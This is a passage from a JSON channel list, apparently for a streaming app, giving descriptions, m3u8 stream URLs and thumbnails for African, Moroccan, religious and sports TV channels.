Il couvre l'ensemble des dix régions du Cameroun, ce qui en fait le diffuseur indomptable parmi plusieurs chaînes de télévision privées du pays. Sa couverture des événements est généralement considérée comme pro-gouvernementale. Les programmes de la CRTV comprennent des documentaires, des magazines, des analyses d'actualités et des séries importées d'Asie et du Brésil..","sources":["http://178.33.237.146/crtv.m3u8"],"subtitle":"By Channel","thumb":"http://www.cameroonconcordnews.com/wp-content/uploads/2018/03/CRTV-new.jpg","title":"Cameroune Radio Télévision"},{"description":"Impact TV c'est une premiere Chaine televisee chretienne diffusant au Burkina-Fasso sur satelite innauguree le 07/03/2008 par Marie Sophie.","sources":["https://edge10.vedge.infomaniak.com/livecast/impacttele/chunklist_w973675047.m3u8"],"subtitle":"By Channel","thumb":"https://i1.wp.com/www.livetvliveradio.com/wp-content/uploads/2017/07/impact-tv.jpg?fit=259%2C194","title":"Impact TV / Burkina Fasso"},{"description":"Kigali Channel 2 ( Là pour vous) est une chaine televisee Rwandaise emmetant a Kigali. KC2 se diversite par sa diffusion des emitions exceptionnelle ainsi que des films nouveautes et plein d'autres.","sources":["https://5c46fa289c89f.streamlock.net/kc2/kc2/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcQfQjI8jUhMPReWg0MOdw1xpAAXMP7YAuZKBg&usqp=CAU","title":"KC2 TV / Rwanda"},{"description":"Equinox est une chaîne de télévision basée au Cameroun. Peu de temps après son lancement, il est devenu l'un des critiques les plus virulents du régime de Paul Biya. La station était connue pour avoir diffusé des images en direct d'une manifestation politique contre le changement constitutionnel au Cameroun qui favorisait le maintien au pouvoir du président Biya après 2011, alors qu'il lui était interdit par la Constitution de se présenter à nouveau. La télévision appartient au magnat des affaires de la région ouest du Cameroun, Severin Tchounke, qui possède également un quotidien critique, La Nouvelle Expression.","sources":["http://178.33.237.146/equinoxetv.m3u8"],"subtitle":"By Channel","thumb":"https://camer-press.com/wp-content/uploads/2020/04/Equinoxe-Tv.jpg","title":"Equinoxetv"},{"description":"Rwanda Télévision (RTV) est la premiere chaîne public du Rwanda qui fournit des informations et des divertissements quotidiens au public rwandais en trois langues: anglais, français et kinyarwanda géré par l'industrie de la télévision rwandaise , mais ce derniere est composée de 12 chaînes de télévision dont 84% télévisions sont détenues par des privés (10 sur 12) tandis que 8% appartiennent respectivement à des organisations publiques et religieuses. L'Agence nationale de radiodiffusion rwandaise.","sources":["https://5c46fa289c89f.streamlock.net/rtv/rtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://maps.prodafrica.com/wp-content/uploads/2020/03/10191_RBA_002.png","title":"RTV"},{"description":"IBN TV est un radiodiffuseur islamique de télévision et de radio qui transmet IBN TV et Radio Maarifa de Dar es Salaam et Tanga respectivement. Il a été crée sous la direction de la Fondation Al Itrah et a été diffusé officiellement depuis Mars 2003. IBN TV est un média privé qui a commencé après la libéralisation de l’industrie des médias en Tanzanie. IBN TV est la première chaîne islamique en Tanzanie. Il couvre presque toute la région de Dar es Salaam, Tanga, Arusha et Mwanza. IBN TV diffuse en quatre langues différentes, à savoir l’anglais, le swahili, le gujarati et l’ourdou.","sources":["http://138.68.138.119:8080/low/5a8993709ea19/index.m3u8"],"subtitle":"By Channel","thumb":"http://www.alitrah.co.tz/wp-content/uploads/sites/3/2015/10/ibntvafrica.png","title":"IBN TV"},{"description":"RTB est une chaîne de télévision publique générale dirigée par l’Établissement public d’État. Son siège social est situé dans la capitale du Burkina Faso, à Ouagadougou. Il est diffusé en direct à la télévision terrestre et sur Internet. Cette chaîne africaine diffuse des nouvelles télévisées en Français. Mais en général, les flashs de nouvelles sont dans la langue nationale comme Lobiri, Bwamu, Gulmancéma ainsi que Bissa. RTB offre un programme avec de nombreux magazines sur le sport, l’économie, la culture, la santé et la jeunesse.","sources":["https://edge8.vedge.infomaniak.com/livecast/ik:rtbtvlive1/manifest.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/en/c/c0/RTB_Sukmaindera.png","title":"Radio Television Burkina Fasso"},{"description":"Eri-TV est une chaîne de télévision érythréenne appartenant à l'État. Basée dans la capitale du pays, Asmara, elle diffuse 24 heures sur 24. La station propose des bulletins d'information 24 heures sur 24, des émissions-débats et des programmes culturels et éducatifs. Eri-TV a une large base d'audience en dehors de l'Érythrée, que la chaîne publique reconnaît et utilise pour communiquer avec les Érythréens vivant à l'étranger. Le réseau compte environ 1 à 2 millions de téléspectateurs par semaine. Eri-TV reconnaît la culture minoritaire érythréenne et a largement adopté un partage de temps égal entre chacune des langues parlées du pays.","sources":["http://217.182.137.206/eri.m3u8"],"subtitle":"By Channel","thumb":"https://eri.tv/images/eri-tv-live.png","title":"ERITRIE TV"},{"description":"Créée au Sénégal par le GROUPE D-MEDIA, SENTV, 1ère Chaîne Urbaine au Sénégal, consacre sa programmation au traitement de l'actualité nationale et internationale et à la culture urbaine sénégalaise et africaine en générale. Elle émet sur hertzien depuis 2009 et est désormais disponible sur satellite via le bouquet Canal + Afrique et les bouquets IPTV à l'international. Une chaîne généraliste et orientée urbaine, constituant ainsi une offre originale et unique au Sénégal. Une part importante de ses programmes est constituée par des rendez-vous d’actualité sur une rythmique quotidienne et des émissions phares orientées Société et Divertissement.","sources":["http://46.105.114.82/tfm_senegal.m3u8"],"subtitle":"By Channel","thumb":"https://www.xalat.info/wp-content/uploads/2019/02/maxresdefault-2.jpg","title":"SENEGAL TV"},{"description":"RTB diffuse des emissions ainsi que les Sports, Musique, Culture et Films d'Action.","sources":["http://46.105.114.82/rtb1.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/bf-rtb-tv-8682.jpg","title":"RTB"},{"description":"LEEEKO est un ensemble de médias web radio et tv, créé le 1er Decembre 2016 par Serges OLUBI, passionné de musiques. LEEEKO diffuse une diversité des musique telsque: Rhumba, Zouk, Ndombolo, Rnb, Classic, Jazz et autres à travers l'Afrique.","sources":["http://livetvsteam.com:1935/leeeko/leeeko/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://is2-ssl.mzstatic.com/image/thumb/Purple113/v4/c9/76/95/c9769524-8604-49ac-108e-efca1d025a99/source/512x512bb.jpg","title":"LEEKO MUSIQUE TV"},{"description":"La Radio Télévision Guinéenne (RTG), l’un des premiers organes de presse public du pays, est absente dans plusieurs villes de l’intérieur du pays. Et ce après 42 ans depuis sa création. Par endroits, les signaux de la RTG sont totalement absents depuis plusieurs années. Par contre, dans certaines préfectures, malgré la réception des signaux, faute d’énergie, les populations sont privées des émissions de la RTG, a-t-on constaté.","sources":["http://178.33.237.146/rtg.m3u8"],"subtitle":"By Blender Channel","thumb":"http://maliactu.info/wp-content/uploads/2019/08/rtg-radio-television-guineenne.png","title":"Radio Television Guinéenne "},{"description":"MTA Africa 1 (anciennement MTA Africa) est la quatrième chaîne de télévision par satellite du réseau MTA International. Il a été lancé début août 2016, diffusant spécifiquement pour les téléspectateurs africains, à travers l'Afrique et l'Europe. La chaîne a été créée sous les auspices de Mirza Masroor Ahmad, le chef spirituel de la communauté musulmane Ahmadiyya. MTA Africa est géré et financé volontairement par les Ahmadis.","sources":["https://ooyalahd2-f.akamaihd.net/i/mtaengaudio_delivery@138280/index_3000_av-p.m3u8"],"subtitle":"By Blender Channel","thumb":"https://pbs.twimg.com/profile_images/950498775893774338/XKhzDO2.jpg","title":"MTA AFRICA"},{"description":"L’Office de Radiodiffusion et Télévision du Bénin (ORTB) est le service public de l’audiovisuel du Bénin. C’est un établissement public à caractères social, culturel et scientifique doté de la personnalité morale et de l’autonomie financière. ORTB, pas sans vous !/ Tél: +229 21 30 00 48/ Whatsapp: +229 69 70 55 55/ Email: contact@ortb.bj","sources":["http://51.77.223.83/ortb.m3u8"],"subtitle":"By Channel","thumb":"https://www.lavoixduconsommateur.org/images/services/1533219563.jpg","title":"ORTB / Bénin"},{"description":"Dream Channel est une chaine télévisée ematant au cameroune qui diffuse de la musique de toutes tendances.","sources":["http://connectiktv.ddns.net:5000/dreamchannel/dreamchannel/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://connectik.tv/wp-content/uploads/2019/06/c1b45634-2f8c-47e7-8849-e6d7ea620465-300x169.jpg","title":"DREAM CHANNEL TV / Cameroune"},{"description":"Canal Algérie est la deuxième chaîne de télévision nationale grand public algérienne. La chaîne fait partie du groupe EPTV qui comprend également TV1, TV3, TV4, TV5, TV6 et TV7. C'est une chaîne francophone. La chaîne diffuse ses programmes 24h / 24 et 7j / 7 via différentes plateformes et partout dans le monde.","sources":["http://46.105.114.82/canal_algerie.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/thumb/2/22/Logo_Canal_Algerie.svg/800px-Logo_Canal_Algerie.svg.png","title":"Canal Algerie"},{"description":"Radio Télévision Sénegalaise est une station de radio diffusée sur le réseau de Radiodiffusion Télévision Sénégalaise (RTS1 HD) de Dakar, au Sénégal, fournissant des informations, des sports, des débats, des émissions en direct et des informations sur la culture ainsi que la musique.","sources":["http://46.105.114.82/rts1.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/VZyPxURRRo-C0lEWHggT8C-dDJvFNFTVxKrn1yKUNROoT85XnOl9VcmM5HFzyRDwvgs","title":"Radio Télévision Sénegalaise 1 HD"},{"description":"Kalsan est une chaîne de télévision Somalienne dont le siège est à Londres. Elle a commencé à diffuser en 2013. La chaîne est axée sur les Somaliens. La programmation est principalement axée sur les actualités et les divertissements.","sources":["http://cdn.mediavisionuae.com:1935/live/kalsantv.stream/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://xogdoonnews.net/wp-content/uploads/2017/11/kalsan-tv.jpg","title":"KALSAN TV / Somalie"},{"description":"One Africa Television est une chaine de television namibien crée en 2003 et couvrant à l'origine uniquement Windhoek, Rehoboth et Okahandja, One Africa Television a connu une croissance significative, avec son signal diffusé via 29 émetteurs analogiques à travers la Namibie. En 2013, One Africa Television a rejoint l'ère numérique, et la chaîne est depuis disponible sur le réseau de télévision numérique terrestre de la Namibian Broadcasting Corporation (Channel 301) ainsi que sur la plateforme DStv Namibia de MultiChoice (Channel 284) ainsi que sur le réseau numérique terrestre GoTV de MultiChoice. Président du groupe d'Africa Television, Paul van Schalkwyk, a été tué dans un accident d'avion le 10 mars 2014.","sources":["https://za-tv2a-wowza-origin02.akamaized.net/oneafrica/smil:oneafrica/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://neweralive.na/uploads/2016/11/Untitled-1.jpg","title":"ONE AFRICA TV / Namibia"},{"description":"VISION4 TV est une chaine television panafricanisme Camerounais crée en 2008. qui diffuse des Émissions hauts de gamme telsque : Afro Café, Matinale infos, le journal d'afrique, tour d'horizon, journal de 12, women's story, The 6h00 pm news, Let's talk, Meeting point le grand live, le grand journal de 20h, santé spirituelle, sport time, Arrêt majeur, Au cœur du mystère, parole d'artistes, Femme attitude, Panafritude, Rendez-vous santé, afro zik, Club d'élites, Plateau du Jaguar, Dimanche bonheur, face aux dinosaures. Vision 4 Le Groupe Anecdote Vision 4 TV, Satelite FM, Africa Express Siège social : Yaoundé - Cameroun (Nsam) Secrétariat PDG : Tel : +237 242 71 88 13 / Fax : +237 222 31 67 81 Service de l'information : Tel : +237 242 71 87 68 Yaoundé Centre B.P 25070 Cameroun","sources":["http://cdnamd-hls-globecast.akamaized.net/live/ramdisk/vision4/hls_video/index.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/thumb/9/94/Vision_4.jpg/600px-Vision_4.jpg","title":"VISION 4"},{"description":"Nago TV is a Haitian television channel 100% devoted to music videos(Compass, Rap Creole, Racine).","sources":["http://haititivi.com:8088/haititv/tele6NY/index.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/GdAVtX7AU8834RaKoUC4c3itv2A_R1k8XATBf26G_IgQKnvxEtAew0cJOr_kWOpWkpY","title":"NAGO TV / Haiti"},{"description":"Lagos Television has been a trail blazer right from inception. Apart from being the first TV station outside the NTA family, the station took the Nigerian TV industry by storm in the early 80s with the introduction of a 60-hour non stop weekend from 7pm on Fridays till 7am on Mondays. The then Lagos weekend Television was the first marathon TV station in Africa. It’s unprecedented public approval transformed TV viewership especially within the Lagos precinct and brought a change in the call sign LTV/LWT.","sources":["http://185.105.4.193:1935/ltv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.lagostelevision.com/wp-content/uploads/2015/10/logo.png","title":"Lagos Television"},{"description":"Emmanuel TV is the television station of The Synagogue, Church Of All Nations, broadcasting 24/7 around the globe via satellite and on the internet. The purpose of Emmanuel TV is to preach the Good News to all mankind. That is what we are born for, living for and what we shall die for. Emmanuel TV is committed to changing lives, changing nations and changing the whole world through the Gospel of our Lord Jesus Christ. Jesus Christ is the inspiration behind Emmanuel TV; as such, God’s purpose is our purpose.","sources":["https://api.new.livestream.com/accounts/23202872/events/7200883/live.m3u8"],"subtitle":"By Channel","thumb":"https://scoan-website-emmanueltv.netdna-ssl.com/wp-content/blogs.dir/12/files/2016/09/emmanuel_tv_icon.png","title":"Emmanuel TV"},{"description":"Addis TV is a City Channel based in Addis Ababa, Ethiopia, which broadcasts News and Programs 24/7.","sources":["https://rrsatrtmp.tulix.tv/addis1/addis1multi.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://et.heytv.org/wp-content/uploads/2019/04/Addis-webtvonlive-com.jpg","title":"Addis TV / Ethiopia"},{"description":"Resurrection TV is a Christian based station aimed at uplifting your soul with an unadulterated word of God. it ensures a distinction between sin and righteousness.","sources":["http://rtmp.ottdemo.rrsat.com/rrsatrtv1/rrsatrtvmulti.smil/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/9e/f5/ae/9ef5aeb5c1ddd05a20d27faaf5d9b931.jpg","title":"Résurrection TV/ Ghana"},{"description":"CTV frique est une television camerounaise basee a yaounde.","sources":["http://connectiktv.ddns.me:8080/ctv-africa/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/01/CTV-1-300x212.jpeg","title":"CTV AFRICA"},{"description":"BEL TV est une station de télévision haïtienne qui diffuse sur le web via diverses plateformes et par câble. Notre vision est de créer une télévision standard dont la qualité du programme est aussi instructive que divertissante. À cote de cette vision, BEL TV s’est fixé pour mission de promouvoir la Culture haïtienne, à savoir le Cinéma, la musique, la littérature et bien plus encore, ce à travers la Caraïbe et le monde entier. BEL TV c’est une toute autre façon de faire la télé.","sources":["http://connectiktv.ddns.me:8080/afriqueplustv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/07/NEW-LOGO0047_00000_00000-300x169.png","title":"AFRICA PLUS TV "},{"description":"1 ok.","sources":["http://connectiktv.ddns.me:8080/mygospel/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/mygospel-300x140.png","title":"MY GOSPEL TV"},{"description":"2 ok.","sources":["http://connectiktv.ddns.me:8080/media-prime/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myprime15-300x140.png","title":"MEDIA PRIME TV"},{"description":"3 ok.","sources":["http://connectiktv.ddns.me:8080/mymusic/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/mymusic1.png","title":"MY MUSIC TV "},{"description":"4 ok.","sources":["http://connectiktv.ddns.me:8080/mymovie-en/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myenglish-300x140.png","title":"MY MOVIE TV / English"},{"description":"5 ok.","sources":["http://connectiktv.ddns.me:8080/mymovie-fr/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myfresh-300x140.png","title":"MY MOVIE TV / Francais"},{"description":"6 ok","sources":["http://connectiktv.ddns.me:8080/bikutsitv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/09/bikutsi-300x63.jpeg","title":"BIKUTSI TV"},{"description":"7 ok.","sources":["http://connectiktv.ddns.me:8080/cam10tv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/07/CAM10-REVUE.jpg","title":"CAM 10 TV / Cameroune"},{"description":"8 ok.","sources":["http://connectiktv.ddns.me:8080/leadergospel/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/leader-cable.jpg","title":"LEADER GOSPEL TV / Religion"},{"description":"9 ok.","sources":["http://connectiktv.ddns.me:8080/vstv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/VS-TV-300x168.jpg","title":"VS tv"},{"description":"10 0k.","sources":["http://connectiktv.ddns.me:8080/mytv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/04/mytv-channel-hd-300x169.jpg","title":"MY TV CHANNEL"},{"description":"Radio Tele Puissance est une chaine chrétienne qui diffuse en direct des programmes chrétien avec des vidéos et des films Gospel de premier ordre, des documentaires. radio Tele Puissance est une station très divertissante..","sources":["https://video1.getstreamhosting.com:1936/8560/8560/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://radioendirect.net/assets/images/radio/item/119251.jpg","title":"Radio Tele Puissance"},{"description":"Christ live est une chaine télévision de divertissement chrétienne disponible sur le satellite.","sources":["https://raw.githubusercontent.com/exodiver/IPTV/master/M3U8/Token/Cliv.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/christ-tv_logo.jpg","title":"CHRIST TV / Religion"},{"description":"QTV Gambia is the First Private Television Station","sources":["https://player.qtv.gm/hls/live.stream.m3u8"],"subtitle":"By Channel","thumb":"https://standard.gm/wp-content/uploads/2020/08/QTV-696x495.jpg","title":"QTV / Gambia"},{"description":"TVM International, or TVM Internacional, is the international channel of Mozambique's national TV broadcaster, Televisão de Moçambique (TVM), broadcasting for 24 hours per day. The channel will showcase local programming featuring Mozambican culture, tourism and sports.","sources":["http://196.28.226.121:1935/live/smil:Channel2.smil/chunklist_b714000_slpor.m3u8"],"subtitle":"By Channel","thumb":"https://clubofmozambique.com/wp-content/uploads/2020/03/tvmint.rm.jpg","title":"TVM Internacional"},{"description":"K24 TV est une chaine de télévision généraliste Kényane fondée en 2007 basé à Longonot Place, P. O. Box 49640 Kijabe St Tél : +254 20 2124801. K24 TV diffuse sur la télévision terrestre et en streaming sur Dailymotion et sur son site internet..","sources":["https://raw.githubusercontent.com/exodiver/IPTV/master/M3U8/Token/K24.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/k24-tv_logo.jpg","title":"K24 TV / Kenya"},{"description":"Afrobeat tv is a division of kaycee records .Kaycee Records is an independent record label established in the United Kingdom, and Nigeria Owned by Kennedy Kesidi Richard from Oguta in Imo State Nigeria .Afro beat tv is the new musical innovation to promote African art and and as a platform to promote and create awareness for up coming African artist all around the globe","sources":["http://connectiktv.ddns.net:8080/afrobit/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/05/AFROBIT-png-300x168.png","title":"AFROBITS / Music"},{"description":"Dunamis International Gospel Centre (DIGC) Jos Central is a powerfully anointed church, where God's Presence and power are saving, healing and restoring human destinies and dignities! Located in Alheri, Jos, Plateau State with HQT in Abuja Nigeria. Dunamis (Doo'na-mis) is the Greek word that means POWER.","sources":["https://christianworld.ashttp9.visionip.tv/live/visiontvuk-religion-dunamistv-SD/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/ng-dunamis-tv-2163-300x225.jpg","title":"DUNAMIS TV / Religion"},{"description":"France tv sport, c’est d’abord l’actualité de TOUS les sports. De l’analyse en temps réel, du live ou encore des replays vidéo sont disponibles à tout moment. Enrichissez votre expérience et plongez au cœur de l'actualité du sport.","sources":["https://streamserv.mytvchain.com/sportenfrance/SP1564435593_720p/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://liberador.net/media/images/FranceTv_Sport.max-640x640.jpg","title":"SPORTS FRANCE TV"},{"description":"Darut Tarbiyah La télévision en direct du Réseau islamique de Trinité-et-Tobago Chaîne de télévision religieuse / Darut Tarbiyah Le Réseau islamique (T.I.N.) est une chaîne de télévision câblée locale de Trinité-et-Tobago diffusant des programmes islamiques. La station est transportée sur le canal 96 ou 116 sur le système de câble Flow Trinidad. DARUT TARBIYAH - LE RÉSEAU ISLAMIQUE. Darut Tarbiyah Drive, Ramgoolie Trace North, Cunupia, Trinidad Antilles. Tél: (868) 693-1722, 693-1393","sources":["http://162.244.81.145:2215/live/livestream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://theislamicnetwork.org/wp-content/uploads/musicpro/bd-uploads/logo_logo_TIN-Logo-White-Text.png","title":"THE ISLAMIC NETWORK"},{"description":"D Sports HD est une chaine qui se fcalise sur les Sports en General : WWE, BOX, Football: Ligue brésilienne, Super League chinoise, Ligue portugaise, Major League Soccer (USA) Courses hippiques: courses quotidiennes diffusées en direct du Royaume-Uni et d'Irlande Golf: British Open (The Open Championship), US Open, PGA Championship, LPGA Motorsports: NASCAR, Championnat du Monde de Rallycross FIA Rugby: 6 Nations Rugby Cyclisme: Tour de France (propriété d'Eurosport).","sources":["http://jiocgehub.jio.ril.com/Dsports_HD/Dsports_HD.m3u8?fluxustv.m3u8"],"subtitle":"By Channel","thumb":"https://kccl.tv/sites/default/files/dsportjpg.jpg","title":"D Sports TV"},{"description":"Africa Sports TV est la première chaîne francophone d’information en continue de sport en Afrique. C’est un média fédérateur des sports africains. On parle de compétition locales, des ligues nationales sur toutes les disciplines du continent, dont le basketball, le football, la lutte… Il y aura beaucoup de lutte, qui prend un essor important sur le continent. Il y a tout un lobby autour de la lutte. Africa Sports TV est disponible Sur Le Canal 56 de la BbOX – Sur Le Canal 614 du Bouquet Africain Max de TV ORANGE.","sources":["https://strhls.streamakaci.tv/str_africasportstv_africasportstv/str_africasportstv_multi/str_africasportstv_africasportstv/str_africasportstv_player_1080p/chunks.m3u8"],"subtitle":"By Channel","thumb":"https://pbs.twimg.com/profile_images/1215646342812401668/SOnvVloX_400x400.jpg","title":"Africa Sports TV"},{"description":"Real Madrid TV est une chaîne de télévision numérique gratuite, exploitée par le Real Madrid, spécialisée dans le club de football espagnol. La chaîne est disponible en espagnol et en anglais. Il est situé à Ciudad Real Madrid à Valdebebas (Madrid), le centre de formation du Real Madrid.","sources":["http://rmtv24hweblive-lh.akamaihd.net/i/rmtv24hwebes_1@300661/index_3_av-b.m3u8"],"subtitle":"By Channel","thumb":"https://files.cults3d.com/uploaders/13539675/illustration-file/9c08780f-eb52-427b-aad7-b0a8c0fb83a1/real_madrid_ref1_large.JPG","title":"Real Madrid TV"},{"description":"Real Madrid Club de Fútbol, ce qui signifie Royal Madrid Football Club), communément appelé Real Madrid, est un club de football professionnel espagnol basé à Madrid. Fondé le 6 mars 1902 sous le nom de Madrid Football Club, le club porte traditionnellement un maillot blanc à domicile depuis sa création. Le mot réel est espagnol pour royal et a été accordé au club par le roi Alfonso XIII en 1920 avec la couronne royale dans l'emblème. L'équipe a disputé ses matchs à domicile dans le stade Santiago Bernabéu d'une capacité de 81 044 places au centre-ville de Madrid depuis 1947.","sources":["http://rmtv24hweblive-lh.akamaihd.net/i/rmtv24hweben_1@300662/master.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/e4/de/18/e4de1869c0eba3beab9ffc9d01660e65.jpg","title":"Real Madrid TV"},{"description":" EPT SPORTS HD est la nouvelle chaîne exclusivement sportive de l’audiovisuel public, ERT Sports HD, sa première officielle à 06h00 le matin du samedi 9 février 2019.","sources":["https://ert-live.siliconweb.com/media/ert_sports/ert_sportshigh.m3u8"],"subtitle":"By Channel","thumb":"https://png.pngitem.com/pimgs/s/681-6814150_ert-sports-hd-logo-ert-sports-hd-hd.png","title":"EPT Sports HD"},{"description":"Sports Tonight Live, branded simply as Sports Tonight, was a British television show and channel, owned by VISION247 based in Central London. It was launched online on 29 August 2011.","sources":["http://sports.ashttp9.visionip.tv/live/visiontvuk-sports-sportstonightlive-hsslive-25f-4x3-SD/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://embeddedplayer.visionip.tv/portals/Sports_Tonight_Live/Sports_Tonight_Live/overlay_logos/Sports%20Tonight%20Live-plBackground-1308.png","title":"Sports Tonight"},{"description":"Arryadia HD TV est une chaîne sportive de télévision publique marocaine. Il fait partie du groupe public SNRT avec Al Aoula, Athaqafia, Al Maghribia, Assadissa, Aflam TV, Tamazight TV et Laayoune TV. La chaîne a été lancée le 16 septembre 2006. Arryadia est le diffuseur officiel de la ligue marocaine Botola.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arriadia/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://4.bp.blogspot.com/-lnh_8LWuXaw/WZ09LDkMsZI/AAAAAAAAEeI/9FKtxdQjbl4UVqmZjqN4R-fE9uOLG2ccQCLcBGAs/s1600/FB_IMG_1503465850383.jpg","title":"Arryadia TV / Maroc"},{"description":"Assadissa TV est une chaîne de télévision publique marocaine dédiée aux affaires religieuses. Il fait partie du groupe public SNRT avec Al Aoula, Arryadia, Athaqafia, Al Maghribia, Aflam TV, Tamazight TV et Laayoune TV. La chaîne a été lancée le 3 novembre 2005. Outre les lectures du Coran, il existe également des programmes de services religieux, de débats et de documentaires. Il est diffusé tous les jours de 2h00 à 23h00. Le samedi, il est de 6h00 à 21h00.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/assadissa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/7/7e/Assadissa.png","title":"Assadissa TV/ Maroc"},{"description":"Al Aoula, anciennement appelée TVM (Télévision marocaine, arabe: ??????? ????????), est la première chaîne de télévision publique marocaine. Il fait partie du groupe public SNRT avec Arryadia, Athaqafia, Al Maghribia, Assadissa, Aflam TV, Tamazight TV et Laayoune TV. Le réseau diffuse des programmes en arabe, berbère, français et espagnol. Son siège est situé à Rabat. Lancé en 1962, Al Aoula a été le premier réseau de télévision à produire et à diffuser ses propres programmes dans le pays. En 1962, il a commencé des émissions en couleur.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/al_aoula_inter/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://live.staticflickr.com/1853/44065447112_7a93bb434f.jpg","title":"Al Aoula TV/ Maroc"},{"description":"2M TV est une chaîne de télévision marocaine gratuite. Il a été créé par le conglomérat royal, ONA, avant d'être en partie vendu à l'État marocain. 20,7% de 2M appartiennent à la société holding de Mohammed VI SNI. Alors qu'environ 60% sont contrôlés par l'État marocain. Il est basé à Casablanca. Il est disponible gratuitement localement sur signal numérique avec une couverture sur tout le Maroc et sur la télévision par satellite via Globecast, Nilesat et Arabsat. 2M propose des services en arabe, français et berbère.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/2m_monde/hls_video_ts/2m_monde.m3u8"],"subtitle":"By Channel","thumb":"https://caidal.ma/wp-content/uploads/2019/04/ob_febd69_2-m-maroc-en-ligne.jpg","title":"2M TV / Maroc"},{"description":"La chaîne Al Magharibia diffuse des programmes politiques, sociaux et économiques depuis sa base privée de Londres. La chaîne est diffusée en arabe et s'adresse aux pays du Mahgreb, l'Algérie en particulier. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/al_maghribia_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRT-AlMaghribia.png","title":"Al maghribia TV / Maroc"},{"description":"Athaqafia TV est une chaîne gratuite disponible sur le satellite Hotbird et propose une gamme de programmes allant des documentaires et des programmes éducatifs ainsi que de la musique, des dessins animés et des divertissements familiaux. La chaîne s'adresse principalement aux familles et est diffusée principalement en arabe mais parfois en langue française et berbère. La chaîne a été créée par la société de production marocaine appartenant à l'État, SNRT.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arrabiaa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRTAThaqafia.png","title":"Athaqafia TV / Maroc"},{"description":"Tele Maroc est la nouvelle chaîne satellitaire généraliste marocaine créée par rachid Niny. Siège à Madrid. « C’est donc une chaéne de télévision légalement espagnole avec un contenu marocain.","sources":["https://api.new.livestream.com/accounts/27130247/events/8196478/live.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/9e/1d/b5/9e1db51201d4debce634f6e8b44a2424.jpg","title":"Tele Maroc"},{"description":"Tamazinght TV est une chaîne de télévision publique marocaine créée le 6 janvier 2010, propriété de la Société nationale de radiodiffusion et de télévision. La chaîne a pour objectif la promotion et la préservation de la culture amazighe au Maroc et dans la région de l'Afrique du Nord. en langue berbère. 70% en tashelhit, tarifit et tamazight (les 3 variantes du berbère du Maroc), le reste en arabe.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/tamazight_tv8_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"http://hub.tv-ark.org.uk/images/International/international_images/morocco_images/tamazight/Tamazight_TV_ident4_060912a.jpg","title":"Tamazight TV / Maroc"},{"description":"EMCI TV est une chaîne de télévision chrétienne évangélique francophone. Les studios de la chaîne se trouvent dans la ville de Québec, Canada. Le contenu de la programmation est assez varié et provient de divers pays francophones d’Afrique, d’Europe et d’Amérique. Des clips musicaux, des enseignements bibliques, des prédications, la Bible en vidéo, des temps de 